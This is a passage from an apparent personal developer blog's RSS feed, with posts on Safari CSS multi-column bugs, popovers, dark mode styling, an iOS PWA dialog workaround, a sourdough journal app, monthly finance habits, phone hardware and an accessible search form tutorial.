<p><a target="_blank" rel="noopener noreferrer" href="/images/multi-col-dash.png"><img src="/images/multi-col-dash.png" alt="" style="max-width: 100%;"></a></p>
<p>While there is a <code>grid-template-rows: masonry</code>, it is not widely available in 2025. I wanted a single column of items on mobile, and 300px wide columns added as the viewport allowed. Items would have auto width and height, and allow the columns to determine width:</p>
<div class="highlight highlight-source-css"><pre><span class="pl-kos">#</span><span class="pl-c1">container</span> {
  <span class="pl-c1">columns</span><span class="pl-kos">:</span> <span class="pl-c1">300<span class="pl-smi">px</span></span>;
  <span class="pl-c1">gap</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">em</span></span>; <span class="pl-c">/* inline axis gutter */</span>
}

.<span class="pl-c1">item</span> {
  <span class="pl-c1">box-shadow</span><span class="pl-kos">:</span> mintcream <span class="pl-c1">3<span class="pl-smi">px</span></span> <span class="pl-c1">3<span class="pl-smi">px</span></span>;
  <span class="pl-c1">margin-bottom</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">em</span></span>; <span class="pl-c">/* block axis gutter */</span>
}</pre></div>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">id</span>="<span class="pl-s">container</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">item</span>"<span class="pl-kos">&gt;</span>First<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">item</span>"<span class="pl-kos">&gt;</span>Second, with more stuff<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">item</span>"<span class="pl-kos">&gt;</span>Third, and a whole lotta more so it wraps when viewport is small<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">div</span> <span class="pl-c1">class</span>="<span class="pl-s">items</span>"<span class="pl-kos">&gt;</span>Fourth, because why not<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">div</span><span class="pl-kos">&gt;</span></pre></div>
<p>This worked great! Kinda. But then I noticed an extra line and gap would appear in the new column when the viewport widened. It didn't show up in the web inspector, but some fiddling narrowed down <code>box-shadow</code> to cause the unwanted line, and <code>margin-bottom</code> to cause the excess gap. This only occured on Safari (mobile and desktop). I found several related issues on bugzilla, but the ones with the most context are:</p>
<ul>
<li><a href="https://bugs.webkit.org/show_bug.cgi?id=14137#c17" rel="nofollow">Bug 14137: box-shadow on element inside multi-column doesn't draw outside column boundary</a></li>
<li><a href="https://bugs.webkit.org/show_bug.cgi?id=104944#c9" rel="nofollow">Bug 104944: CSS Fragmentation Implement correct margin truncation at breaks</a></li>
</ul>
<p>I've linked to my comments with the reproduction HTML and CSS.</p>
<p>I was open to removing the box-shadow or changing it to an inset shadow, but the <a href="https://www.smashingmagazine.com/2019/02/css-fragmentation/" rel="nofollow">CSS fragmentation</a> bug affecting margins is a dealbreaker because it causes the boxes to not line up at the top for multiple columns. I tried using <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_box_model/Mastering_margin_collapsing" rel="nofollow">margin collapsing</a> by setting <code>margin-block: 2.5em</code>, which collapsed fine within the same column, but didn't work on the first item of the new column. I also tried to wrap my items and use padding for gutters rather than margins, but padding would also push into the top of new columns (womp womp).</p>
<p>Multi-column is still useful for prose, and content that doesn't require alignment, but unfortunately does not work in Safari for a masonry layout of cards. Long term, using the masonry grid layout is the right way to go, but I was hoping this would provide a simple CSS-only fallback.</p>
  ]]></description>
</item>

<item>
  <title>Monthly finance night</title>
  <link>https://jch.github.io/posts/2025-05-07-monthly-finance-night.html
</link>
  <guid>https://jch.github.io/posts/2025-05-07-monthly-finance-night.html
</guid>
  <pubDate>Wed, 07 May 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>A tidy home is easier to clean. If there are legos all over the floor, I have to pick them up before I can vacuum (or get stabbed walking around). If there are dishes on the table, they need to be loaded in the dishwasher before that dried pesto stain can be wiped off.</p>
<p>Similar to physically tiding up, I like to keep our finances tidy too. But unlike the necessary daily tidy in my home with two kids and a dog, the financial tidy happens once a month and takes around 10 minutes most months. I follow up on long running things, fix miscategorized transactions, and squint to see if anything weird stands out.</p>
<p>I use Empower (formerly PersonalCapital, previously Mint) to aggregate spending across different accounts. I export to CSV because account syncing breaks occasionaly or I fat-finger something and lose history. Then I import the data into <a href="https://jch.app" rel="nofollow">an app I made</a> to review spending. I sit down with a Lipton tea, and go over my notes:</p>
<ul>
<li>Last month: review e.g. Did locksmith get reimbursed?</li>
<li>This month: take notes. e.g. 4/1 paid estimated tax $X,XXX</li>
<li>Future months: make sections for upcoming items. e.g. December 2025 property tax $X,XXX https://..., October check 401k</li>
<li>Categorize transactions: easier to remember or look up when things are fresh</li>
<li>Sort, filter, review any large transactions</li>
</ul>
<p>For spending categories, I use a few broad categories rather than many granular ones; 'Home' includes mortgage, HOA dues, repairs, property taxes. 'Utilities' includes phone, internet, water, trash, electricity. Last year, the top 3 categories accounted for 75% of our spending, the top 5 for 85%. It's easier to remember fewer categories and consistently label things. Outside of the top categories, there's a 'General Merchandise' category for any one off things. It ends up being 1-3% of our spending in recent years, so not worth breaking down into better categories. If an expense could be multiple categories like a rental car (Automotive, Travel), I just pick one. Over time, the categories may change (Automotive and Hobby merged to Automotive), but they're similar enough in recent years to highlight big year-over-year changes. If I'm looking for something specific within a broad category, I can filter then search (Utilities, search for T-mobile).</p>
<p>Transfers between accounts are categorized transfers and cancel each other out. Credit card payments are listed to make it easy to look up payment dates, but aren't counted as an expense because individual transactions already cover that. Other transfers include saving for retirement or college.</p>
<p>I keep track of estimated income tax payments, but don't include them in our spending. I want to know how much money we need to cover our expenses, but income tax varies with income. No income, no income tax either. I do include property tax in our spending because that needs to be paid even if we don't earn income.</p>
<p>I track investment dividend dates to help manage our cash flow, making sure we have enough cash on hand for a year of expenses. Cash beyond a year's expenses goes towards investments.</p>
<p>I don't try to distribute big expenses across months. For example, home property taxes and insurance is paid twice a year. It makes those months look heavy in spending, but I'm more interested in 1-year spend, or running 12-month average spending. I don't find comparing month to month spending useful, preferring to look at the bigger annual picture (2023 vs 2024).</p>
<p>Whatever the software and tools, keeping a monthly schedule has worked well for me. I keep some other notes on personal finance at <a href="https://github.com/jch/personal-finance">jch/personal-finance</a>.</p>
  ]]></description>
</item>

<item>
  <title>My computers 2025</title>
  <link>https://jch.github.io/posts/2025-05-03-my-computers-2025.html
</link>
  <guid>https://jch.github.io/posts/2025-05-03-my-computers-2025.html
</guid>
  <pubDate>Sat, 03 May 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>The last time I was excited <a href="/posts/2008-02-12-my-computing-environment.html">about hardware was 2008</a>, when I spent hard earned Starbucks money to buy a 12" iBook G4. Since then, I've been spoiled by company provided Apple laptops at each place I've worked. They've all been beautiful machines, each faster than the last. What's missing in each of those was a sense of excitement and pride in ownership. I stopped maintaining my own home server, piecing together and recycling old hardware. I didn't need to do custom software builds to squeeze the last bit of performance, another new laptop was always just around the corner.</p>
<p>Since leaving my job and starting to build software for fun again (<a href="https://jch.app" rel="nofollow">jch.app</a>), I've slowly rediscovered that original joy of computing, from software down to hardware. I've dusted off the cobwebs off this blog, adding RSS and dark mode. I installed Debian Bookworm (my last linux was, <em>checks notes</em>, Debian Woody, released July 2002) on a e-waste Thinkpad T480s (thanks Dad!). <a href="/posts/2024-12-06-self-hosting-rails.html">Production is hosted on a 2016 macbook pro</a> with a dead battery and a set of bash scripts (yolo).</p>
<p>I still love Apple hardware, but when there isn't the pressure of deadlines, it's more <strong>fun</strong> to figure things out along the way.</p>
  ]]></description>
</item>

<item>
  <title>Sourdough</title>
  <link>https://jch.github.io/posts/2025-04-29-sourdough.html
</link>
  <guid>https://jch.github.io/posts/2025-04-29-sourdough.html
</guid>
  <pubDate>Tue, 29 Apr 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p><a target="_blank" rel="noopener noreferrer" href="/projects/sourdough/nine.png"><img src="/projects/sourdough/nine.png" alt="" style="max-width: 100%;"></a></p>
<p>During covid, I ran out of yeast. I tried to make my own sourdough starter from flour and water, but ended up with a hoochy moldy mess.</p>
<p>Fast forward a couple years, and my friend Sarah was kind enough to share her starter, idiot-proof care instructions, and a recipe. I named the starter Lemmy, because it was lemon-y fresh.</p>
<p>The first few loaves were edible, but definitely looked "homemade" in the bad way. I started writing down notes on temperature, ferment times, and other observations in a note on my phone. It gave me the warm fuzzies to see and taste each loaf after the string of initial failures. If you want a piece of Lemmy to try to bake your own bread, I'm happy to mail you some dehydrated starter to start your own.</p>
<div class="markdown-heading"><h2 class="heading-element">Journal</h2><a id="user-content-journal" class="anchor" aria-label="Permalink: Journal" href="#journal"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I made a webpage to <a href="/projects/sourdough">organize my recipe and notes</a> offline. I took inspiration from a blog program named <a href="https://en.wikipedia.org/wiki/Blosxom" rel="nofollow">Blosxom</a> that was written as a single perl script. I liked the idea of having everything self contained within a single file. My take was to create a single HTML file with styles and javascript inlined into the markup, requiring only a browser, but not requiring an internet connection. It currently sits at ~44kB, or around ~10kB gzipped. I load a couple of fonts, and some sample journal entries, but these are optional and the page works offline without them. Since it's a simple app, I wrote the CSS without tailwind, and the javascript without dependencies. I use IndexDB to store images and bake notes, and allow these to be exported and imported. On mobile devices, photos are taken with the input <code>capture</code> attribute.</p>
<p>I made a simple responsive grid layout and tested it across mobile, tablet, and desktop sizes. I spent some time <a href="/projects/grid.html">learning grid</a>, but I'm still not satisfied with how to layout a tall element in the same row track as shorter elements. I have the tall element span several row tracks because masonry layout isn't widely available, and I still want the bake photos to line up against row lines. Please write me if you know of a better way.</p>
<p>2025-05-05: <a href="https://www.smashingmagazine.com/2019/01/css-multiple-column-layout-multicol/" rel="nofollow">CSS Multi-Column Layout</a> sounds promising. <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/columns" rel="nofollow">MDN</a></p>
  ]]></description>
</item>

<item>
  <title>Popovers and Anchor Positioning</title>
  <link>https://jch.github.io/posts/2025-04-13-popovers-css-anchor.html
</link>
  <guid>https://jch.github.io/posts/2025-04-13-popovers-css-anchor.html
</guid>
  <pubDate>Sun, 13 Apr 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Popover made it into baseline this year. I wanted to use it to replace the dialog
modal sheet I was using because it comes with soft dismiss built-in. Initial testing
was good, but iOS Safari hangs if there is an input within the popover. The fix is slated
for 18.4 in April 2025, so I will stay with dialog until some time after that.</p>
<ul>
<li>popover: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/popover" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/popover</a>
</li>
<li>dialog: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dialog</a>
</li>
<li><a href="https://stackoverflow.com/questions/79501074/focusing-input-blocks-page-on-safari-when-part-of-element-with-popover-api" rel="nofollow">https://stackoverflow.com/questions/79501074/focusing-input-blocks-page-on-safari-when-part-of-element-with-popover-api</a></li>
</ul>
<p>Anchor positioning is in technical preview for Safari and available for 71% of browsers.
I had planned to make the modal sheet stick to the bottom on small viewports (easy without anchors),
and near the trigger in larger viewports (anchors necessary because it's in the top layer).
But after testing on the simulator and devices, I found that iOS Safari has a
not-quite-keyboard sized element on the bottom of the HTML element
that I cannot prevent scrolling when an input is focused.</p>
<p>I've seen this on several other sites, and it's a nitpick but annoying enough to me
I would make the modal <em>feel</em> like the web rather than try and emulate a native
modal sheet.</p>
<p>I'd like to revisit anchor positioning for some of the filter menus.</p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_anchor_positioning" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_anchor_positioning</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Glossary/Top_layer" rel="nofollow">https://developer.mozilla.org/en-US/docs/Glossary/Top_layer</a></li>
<li><a href="https://caniuse.com/css-anchor-positioning" rel="nofollow">https://caniuse.com/css-anchor-positioning</a></li>
</ul>
  ]]></description>
</item>

<item>
  <title>Ruby HTTP Streaming Revisited</title>
  <link>https://jch.github.io/posts/2025-04-12-ruby-http-streaming-revisited.html
</link>
  <guid>https://jch.github.io/posts/2025-04-12-ruby-http-streaming-revisited.html
</guid>
  <pubDate>Sat, 12 Apr 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>This morning I read "You might not need Websockets". It reminded me of
the rack-stream gem I wrote 13 years ago to explore the HTTP Streaming API.</p>
<p>Here are changes since I last looked at this topic:</p>
<ul>
<li>Rail's ActionCable abstracts websocket connection management</li>
<li>Turbo streaming can work through websockets or eventsource</li>
<li>ActionController::Streaming can stream layouts earlier with some caveats around middlewares and layouts</li>
<li>falcon is a newer async ruby web server</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Links</h2><a id="user-content-links" class="anchor" aria-label="Permalink: Links" href="#links"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>rack-stream: <a href="https://github.com/jch/rack-stream/">https://github.com/jch/rack-stream/</a>
</li>
<li>HTTP Streaming: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Streams_API" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/Streams_API</a>
</li>
<li>You might not need Websockets: <a href="https://hntrl.io/posts/you-dont-need-websockets/" rel="nofollow">https://hntrl.io/posts/you-dont-need-websockets/</a>
</li>
<li>ActionCable: <a href="https://guides.rubyonrails.org/action_cable_overview.html" rel="nofollow">https://guides.rubyonrails.org/action_cable_overview.html</a>
</li>
<li>Turbo Streams: <a href="https://turbo.hotwired.dev/handbook/streams" rel="nofollow">https://turbo.hotwired.dev/handbook/streams</a>
</li>
<li>ActionController::Streaming: <a href="https://api.rubyonrails.org/classes/ActionController/Streaming.html" rel="nofollow">https://api.rubyonrails.org/classes/ActionController/Streaming.html</a>
</li>
<li>falcon: <a href="https://github.com/socketry/falcon">https://github.com/socketry/falcon</a>
</li>
</ul>
  ]]></description>
</item>

<item>
  <title>iOS Progressive Web App Dialog bug</title>
  <link>https://jch.github.io/posts/2025-03-14-ios-pwa-dialog-bug.html
</link>
  <guid>https://jch.github.io/posts/2025-03-14-ios-pwa-dialog-bug.html
</guid>
  <pubDate>Fri, 14 Mar 2025 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>This was a fun one. I'm adding a modal dialog to quickly
add a number of stock shares.</p>
<p>On iOS mobile safari 18.3.1, the form in the modal freezes up
after the date picker makes a selection. It's as if the modal
itself becomes <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert" rel="nofollow">inert</a>.</p>
<p>My hack workaround is to scroll the page by a pixel when the
input loses focus <code>onblur</code>. This seems to unfreeze the page. Note this hack is only needed if a page is saved to the home screen as a PWA. It works fine from Safari mobile.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">dialog</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
      Purchase date
      <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">date</span>" <span class="pl-c1">onblur</span>="<span class="pl-s">window.scrollBy(0, 1);</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
      Shares
      <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">number</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">submit</span>"<span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">dialog</span><span class="pl-kos">&gt;</span></pre></div>
  ]]></description>
</item>

<item>
  <title>Dark mode and RSS</title>
  <link>https://jch.github.io/posts/2025-03-05-dark-mode-and-rss.html
</link>
  <guid>https://jch.github.io/posts/2025-03-05-dark-mode-and-rss.html
</guid>
  <pubDate>Wed, 05 Mar 2025 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Bit of clean up for the blog. I've cleaned up the CSS to use browser defaults
for the most part. Instead of using hex colors, I used <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/named-color" rel="nofollow">named colors</a>
and chose colors that work well on a light and dark background. For dark mode,
I used <code>black</code> for OLED screens instead of a dark gray.</p>
<div class="highlight highlight-source-css"><pre><span class="pl-ent">body</span> {
  <span class="pl-c1">max-width</span><span class="pl-kos">:</span> <span class="pl-c1">80<span class="pl-smi">ch</span></span>;
  <span class="pl-c1">padding</span><span class="pl-kos">:</span> <span class="pl-c1">1<span class="pl-smi">em</span></span>;
  <span class="pl-c1">margin</span><span class="pl-kos">:</span> auto;
}

.<span class="pl-c1">highlight</span> <span class="pl-ent">pre</span> {
  <span class="pl-c1">border-left</span><span class="pl-kos">:</span> <span class="pl-c1">2<span class="pl-smi">px</span></span> solid palegoldenrod;
  <span class="pl-c1">padding-inline-start</span><span class="pl-kos">:</span> <span class="pl-c1">0.75<span class="pl-smi">em</span></span>;
}

.<span class="pl-c1">pl-c</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> darkgray;}
.<span class="pl-c1">pl-c1</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-s</span> .<span class="pl-c1">pl-v</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> deepskyblue;}
.<span class="pl-c1">pl-e</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-en</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> mediumslateblue;}
.<span class="pl-c1">pl-s</span> .<span class="pl-c1">pl-s1</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-smi</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> gray;}
.<span class="pl-c1">pl-ent</span>  {<span class="pl-c1">color</span><span class="pl-kos">:</span> mediumseagreen;}
.<span class="pl-c1">pl-k</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> coral;}
.<span class="pl-c1">pl-pds</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-s</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-s</span> .<span class="pl-c1">pl-pse</span> .<span class="pl-c1">pl-s1</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-sr</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-sr</span> .<span class="pl-c1">pl-cce</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-sr</span> .<span class="pl-c1">pl-sra</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-sr</span> .<span class="pl-c1">pl-sre</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> deepskyblue;}
.<span class="pl-c1">pl-v</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> salmon;}
.<span class="pl-c1">pl-id</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> coral;}
.<span class="pl-c1">pl-ii</span> {<span class="pl-c1">background-color</span><span class="pl-kos">:</span> coral; <span class="pl-c1">color</span><span class="pl-kos">:</span> black;}
.<span class="pl-c1">pl-sr</span> .<span class="pl-c1">pl-cce</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> mediumseagreen; <span class="pl-c1">font-weight</span><span class="pl-kos">:</span> bold;}
.<span class="pl-c1">pl-ml</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> goldenrod;}
.<span class="pl-c1">pl-mh</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-mh</span> .<span class="pl-c1">pl-en</span><span class="pl-kos">,</span> .<span class="pl-c1">pl-ms</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> deepskyblue; <span class="pl-c1">font-weight</span><span class="pl-kos">:</span> bold;}
.<span class="pl-c1">pl-mq</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> deepskyblue;}
.<span class="pl-c1">pl-mi</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> gray; <span class="pl-c1">font-style</span><span class="pl-kos">:</span> italic;}
.<span class="pl-c1">pl-mb</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> gray; <span class="pl-c1">font-weight</span><span class="pl-kos">:</span> bold;}
.<span class="pl-c1">pl-md</span> {<span class="pl-c1">background-color</span><span class="pl-kos">:</span> mistyrose; <span class="pl-c1">color</span><span class="pl-kos">:</span> coral;}
.<span class="pl-c1">pl-mi1</span> {<span class="pl-c1">background-color</span><span class="pl-kos">:</span> honeydew; <span class="pl-c1">color</span><span class="pl-kos">:</span> mediumseagreen;}
.<span class="pl-c1">pl-mdr</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> mediumslateblue; <span class="pl-c1">font-weight</span><span class="pl-kos">:</span> bold;}
.<span class="pl-c1">pl-mo</span> {<span class="pl-c1">color</span><span class="pl-kos">:</span> deepskyblue;}

<span class="pl-k">@media</span> (<span class="pl-c1">prefers-color-scheme</span><span class="pl-kos">:</span> dark) {
  <span class="pl-ent">body</span> {
    <span class="pl-c1">background-color</span><span class="pl-kos">:</span> black;
    <span class="pl-c1">color</span><span class="pl-kos">:</span> snow;
  }

  <span class="pl-ent">a</span> {
    <span class="pl-c1">color</span><span class="pl-kos">:</span> aqua;
  }

  <span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">visited</span> {
    <span class="pl-c1">color</span><span class="pl-kos">:</span> orchid;
  }

  <span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">hover</span><span class="pl-kos">,</span> <span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">focus</span> {
    <span class="pl-c1">color</span><span class="pl-kos">:</span> lightsalmon;
  }

  <span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">active</span> {
    <span class="pl-c1">color</span><span class="pl-kos">:</span> lightcoral;
  }
}</pre></div>
<p>I added a new <code>bin/publish_rss</code> for feed readers and validated with W3C.</p>
<div class="markdown-heading"><h2 class="heading-element">Update 2025-04-12</h2><a id="user-content-update-2025-04-12" class="anchor" aria-label="Permalink: Update 2025-04-12" href="#update-2025-04-12"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>From <a href="https://inclusive-components.design/a-theme-switcher/" rel="nofollow">https://inclusive-components.design/a-theme-switcher/</a></p>
<div class="highlight highlight-source-css"><pre><span class="pl-kos">:</span><span class="pl-c1">root</span> {
   <span class="pl-c1">background-color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>fefefe</span>;
   <span class="pl-c1">filter</span><span class="pl-kos">:</span> <span class="pl-en">invert</span>(<span class="pl-c1">100<span class="pl-smi">%</span></span>);
}

<span class="pl-ent"><span class="pl-c1">*</span></span> {
   <span class="pl-c1">background-color</span><span class="pl-kos">:</span> inherit;
}

<span class="pl-ent">img</span><span class="pl-kos">:</span><span class="pl-c1">not</span>([<span class="pl-c1">src</span><span class="pl-c1">*=</span><span class="pl-s">".svg"</span>])<span class="pl-kos">,</span> <span class="pl-ent">video</span> {
   <span class="pl-c1">filter</span><span class="pl-kos">:</span> <span class="pl-en">invert</span>(<span class="pl-c1">100<span class="pl-smi">%</span></span>);
}</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Update 2025-04-30</h2><a id="user-content-update-2025-04-30" class="anchor" aria-label="Permalink: Update 2025-04-30" href="#update-2025-04-30"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-css"><pre><span class="pl-k">@media</span> (<span class="pl-c1">prefers-color-scheme</span><span class="pl-kos">:</span> dark) {
  <span class="pl-ent">body</span> {
    <span class="pl-c1">background-color</span><span class="pl-kos">:</span> black;
    <span class="pl-c1">color</span><span class="pl-kos">:</span> snow;
  }

  <span class="pl-ent">a</span><span class="pl-kos">,</span> <span class="pl-ent">a</span><span class="pl-kos">:</span><span class="pl-c1">visited</span> { <span class="pl-c1">color</span><span class="pl-kos">:</span> <span class="pl-pds"><span class="pl-kos">#</span>0df</span>; }
}</pre></div>
  ]]></description>
</item>

<item>
  <title>Environmental Hardware Upgrades: iPhone 16e</title>
  <link>https://jch.github.io/posts/2025-02-19-environmental-hardware-upgrades-iphone-16e.html
</link>
  <guid>https://jch.github.io/posts/2025-02-19-environmental-hardware-upgrades-iphone-16e.html
</guid>
  <pubDate>Wed, 19 Feb 2025 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Apple announced the new iPhone 16e today. It's basically the same formula they used with their SE lineup for years. The latest processing power, in an older body style (XR?), with slightly worse camera to avoid cannablizing sales from the flagship phones, for a lower price. I've been a fan of the SE line up for years because I like how smaller phones fit in the hand, starting with my first iPhone 5s (2013), followed by the SE (2016), then SE2 (2020).</p>
<p>I broke with tradition in 2022 and purchased a 13 mini thinking it  would better capture family and travel photos, while still keeping the small form factor. While it's still a good phone, my original reasons for upgrading hasn't really panned out. The photos are better in low light, but for the quick point-and-shoot food/kid/dog photos, I'm not missing much. The phone's still small, but it's thicker than the SE, feeling bulky in jeans. The tiniest tiny annoyance is that it doesn't sit flush on a flat surface without a case (it does with the Apple case). The screen is larger without the bezels, but personally, I didn't mind the small screen of the SE.</p>
<p>Which brings me back to today's announcement for the 16e. I'm sure it'll be faster, brighter, longer lasting, and also familiar. I'm excited about having usb-c (projected year for everything in the house standardizing to one port, 2035), longer battery, and a relatively small phone. The big splash continues to be Apple intelligence, but I'm fine with waiting a few years for apps to make meaningful use fo the new hardware. Having the latest hardware in the budget iPhone means being able to take advantage of the full software support lifecycle. Apple promises 5 years, but there's been iOS releases good for 7-8 years in some cases. The battery will degrade with daily use, but even accounting for a battery swap at year 3, that would mean keeping a functional device 6 years through 2031.</p>
<p>I saw on the product page that AppleCare has switched over to a subscription plan for $10/mo, $100/year, or $190 for 2 years. There's a $29 glass deductible, $99 damage, and $149 for theft or loss. I would skip this and pay the premium for their case, and pony up for the battery replacement halfway through. For my 13 mini, it's a reasonable $89, and the 16 previews the cost at $99.</p>
<p>While there's always going to be marketing for the latest and greatest, I find the budget iPhone appealing for it's longevity and price. For $700 including a battery change, one can start with a hardware package that can comfortably last 5 years, and possibly stretch further.</p>
<p>I haven't pushed ownership this far because of battery degradation, but I plan to try with the 13 mini. It still feels fresh after 3 years. The battery health is at 88%, but not an issue with fast charging and my use case. The degradation will accelerate with the additional charging, but if it's lasted 3 years already, swapping it now will mean another 2-3 years with a fresh pack.</p>
  ]]></description>
</item>

<item>
  <title>Building an accessible search page with progressive enhancements</title>
  <link>https://jch.github.io/posts/2025-01-30-building-modern-search.html
</link>
  <guid>https://jch.github.io/posts/2025-01-30-building-modern-search.html
</guid>
  <pubDate>Thu, 30 Jan 2025 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>This article documents what I learned building a search page for stocks, ETFs, and other securities for <a href="https://jch.app" rel="nofollow">https://jch.app</a>. I start with built-in HTML elements and attributes for accessibility, add CSS for layout and visual design, and progressively enhance the user experience with Turbo, and one line of javascript. At the end, I'll talk about some experiments that led to dead ends and share interesting links and references.</p>
<div class="markdown-heading"><h2 class="heading-element">HTML and CSS</h2><a id="user-content-html-and-css" class="anchor" aria-label="Permalink: HTML and CSS" href="#html-and-css"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Here's the basic form.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-c">&lt;!-- GET /securities --&gt;</span>
<span class="pl-kos">&lt;</span><span class="pl-ent">search</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">form</span> <span class="pl-c1">action</span>="<span class="pl-s">/securities</span>"<span class="pl-kos">&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">type</span>="<span class="pl-s">search</span>" <span class="pl-c1">name</span>="<span class="pl-s">q</span>" <span class="pl-c1">placeholder</span>="<span class="pl-s">Search</span>" <span class="pl-c1">autocomplete</span>=<span class="pl-s">off</span> <span class="pl-c1">spellcheck</span>=<span class="pl-s">false</span> <span class="pl-kos">/&gt;</span>
    <span class="pl-kos">&lt;</span><span class="pl-ent">button</span><span class="pl-kos">&gt;</span>Search<span class="pl-kos">&lt;/</span><span class="pl-ent">button</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;/</span><span class="pl-ent">form</span><span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">search</span><span class="pl-kos">&gt;</span></pre></div>
<p>If a user wants to see the price of VTI (Vanguard Total Market Index Fund), they would enter 'VTI' and hit enter, or click 'Search'. A few observations:</p>
<ol>
<li>The default <code>method</code> for a <code>form</code> is <code>GET</code>, so submitting this form takes the browser to <code>/securities?q=VTI</code>
</li>
<li>
<code>button</code> is associated with the form and submits by default</li>
<li>
